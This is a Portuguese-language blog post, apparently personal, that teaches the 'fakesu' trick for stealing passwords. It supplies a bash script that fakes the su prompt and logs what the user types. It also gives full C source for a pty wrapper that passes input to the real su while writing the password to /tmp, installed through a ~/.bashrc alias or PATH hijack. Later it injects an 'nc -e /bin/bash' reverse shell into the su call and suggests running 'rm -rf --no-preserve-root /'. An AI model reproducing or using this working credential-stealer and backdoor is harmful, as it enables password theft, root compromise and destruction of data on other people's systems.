Voltar

[] night mode

Fakesu

Fakesu é uma técnica lendária, criada pelos bruxos anciões do underground que viviam em cavernas e sobreviviam com apenas 2MB de ram. A técnica consiste em usar um programa que simule o su, mas ao invés de efetuar o login apenas salva a senha digitada. Não sei exatamente onde li a respeito disso, provavelmente em algum fórum, mas lembro-me do código usado, era algo bem simples, parecido com isso:

#!/bin/bash

echo -n "Password: "
read -rs pw
echo "$pw" >> /tmp/.passwords.txt
echo
sleep 3
echo "su: Authentication failure"

Com o script criado, basta modificar o arquivo ~/.bashrc e adicionar algum comando que faça o fakesu ser executado toda vez que o usuário rodar o comando su. Isso pode ser feito usando alias su='~/.fakesu.sh', mas eu prefiro fazer de uma outra maneira: modificar a variável PATH, para algo como PATH="~/.fakesudir/:${PATH}", e salvar o script, no dir ~/.fakesudir, com o nome su, lembrando também de dar permissão de execução (a vantagem nesse caso é que, se o arquivo for deletado, o su verdadeiro volta a ser executado sem problemas).

Como podem ver, a técnica é bastante simples, acredito que a maioria que esteja lendo isso já conheça o truque, mas tem alguns problemas, por exemplo, as mensagens podem ser diferentes, a linha de comando e o usuário não são verificados, o programa sempre falha. Solucionar esses problemas não é muito difícil, e até seria divertido, mas existe uma maneira melhor de pegar a senha, usando tty.

Além de poder armazenar o que é digitado, com tty, o su é executado normalmente, e você pode executar outros programas, por exemplo, sudo, mysql, ssh, etc, sem precisar criar uma versão fake de cada um. Código de exemplo:

/* gcc [file.c] -static -lutil -o su */

#define LOGFILE "/tmp/.password.txt"

#include <sys/types.h>
#include <sys/wait.h>
#include <termios.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <poll.h>
#include <pty.h>


int main(int argc, char **argv, char **envp){
    struct pollfd pfds[2];
    struct termios tios, old;
    int master, fd, status, finish = 0;
    char buf[1024];
    ssize_t n;
    pid_t pid;

    /* cria tty e um novo processo */
    pid = forkpty(&master, NULL, NULL, NULL);

    if(pid == -1){
        return 1;
    } else if(pid == 0){
        /* aqui é o novo processo criado, executamos o programa alvo */
        execve("/usr/bin/su", argv, envp);

        /* caso o binario não exista ... */
        _exit(1);
    }

    /* modificando stdin (man 3 termios) */
    tcgetattr(0, &tios);
    memcpy(&old, &tios, sizeof(struct termios));
    tios.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL);
    tcsetattr(0, TCSAFLUSH, &tios);

    fd = open(LOGFILE, O_CREAT|O_RDWR|O_APPEND, 0600);
    if(fd == -1){
        return 1;
    }

    /* usando POLLIN todos os eventos de entrada serão retornados:
        stdin (quando uma tecla for digitada)
        master (quando algo for printado no stdout ou stderr)
       depois disso é so ler os dados e escrever:
        read(master) -> write(stdout)
        read(stdin)  -> write(master)
    */
    pfds[0].fd = 0;
    pfds[1].fd = master;
    pfds[0].events = POLLIN;
    pfds[1].events = POLLIN;

    /* escreve no arquivo até o stdin receber '\n' */
    while(1){
        if(poll(pfds, 2, -1) == -1)
            break;

        if(pfds[0].revents & POLLIN){
            n = read(0, buf, 1);
            if(n <= 0)
                break;

            write(master, buf, 1);

            if(!finish){
                write(fd, buf, 1);
                if(buf[0] == '\n'){
                    finish = 1;
                    close(fd);
                }
            }
        }

        if(pfds[1].revents & POLLIN){
            n = read(master, buf, sizeof(buf));
            if(n <= 0)
                break;

            write(1, buf, n);
        } else if(pfds[1].revents & POLLHUP){
            break;
        }
    }

    close(master);

    /* restaura o stdin */
    tcsetattr(0, TCSAFLUSH, &old);

    /* retorna o status code do programa executado */
    waitpid(pid, &status, 0);
    return status;
}

Testando:

$ gcc fakesu.c -lutil -static -o fakesu
$ alias su='fakesu'
$ su -
Senha:
# id
uid=0(root) gid=0(root) grupos=0(root)
$ exit
$ cat /tmp/.password.txt
0123456789abcdef

Existem algumas melhorias que podem ser feitas, por exemplo, salvar a linha de comando, continuar salvando mesmo depois do \n (caso o usuário digite a senha errada), mudar o nome do processo (para ficar mais stealth). Agora pense nas possibilidades, ao invés de simplesmente salvar a senha, seria legal já executar algum comando, um rm -rf --no-preserve-root /, ou uma shell reversa. Isso pode ser feito de duas formas:

Como a segunda alternativa é a mais simples, focaremos nela. Modificando o execve e adicionando dois parâmeteros (-c, cmd), assim que o usuário logar teremos uma shell, vamos alterar o código, na parte do else if(pid == 0), ficando dessa maneira:

    } else if(pid == 0){
        int count;

        char **xargv = malloc(sizeof(char *)*(argc+3));

        for(count=0; count<argc; count++)
            xargv[count] = argv[count];

        xargv[count++] = "-c";
        xargv[count++] = "nc -e /bin/bash localhost 1234 & /bin/bash -i";
        xargv[count] = NULL;


        /* aqui é o novo processo criado, executamos o programa alvo */
        execve("/usr/bin/su", xargv, envp);

        /* caso o binario não exista ... */
        _exit(1);
    }

Testando:

asciicast

Tem muitas coisas que podem ser melhoradas, talvez eu faça e poste no github, por enquanto é isso.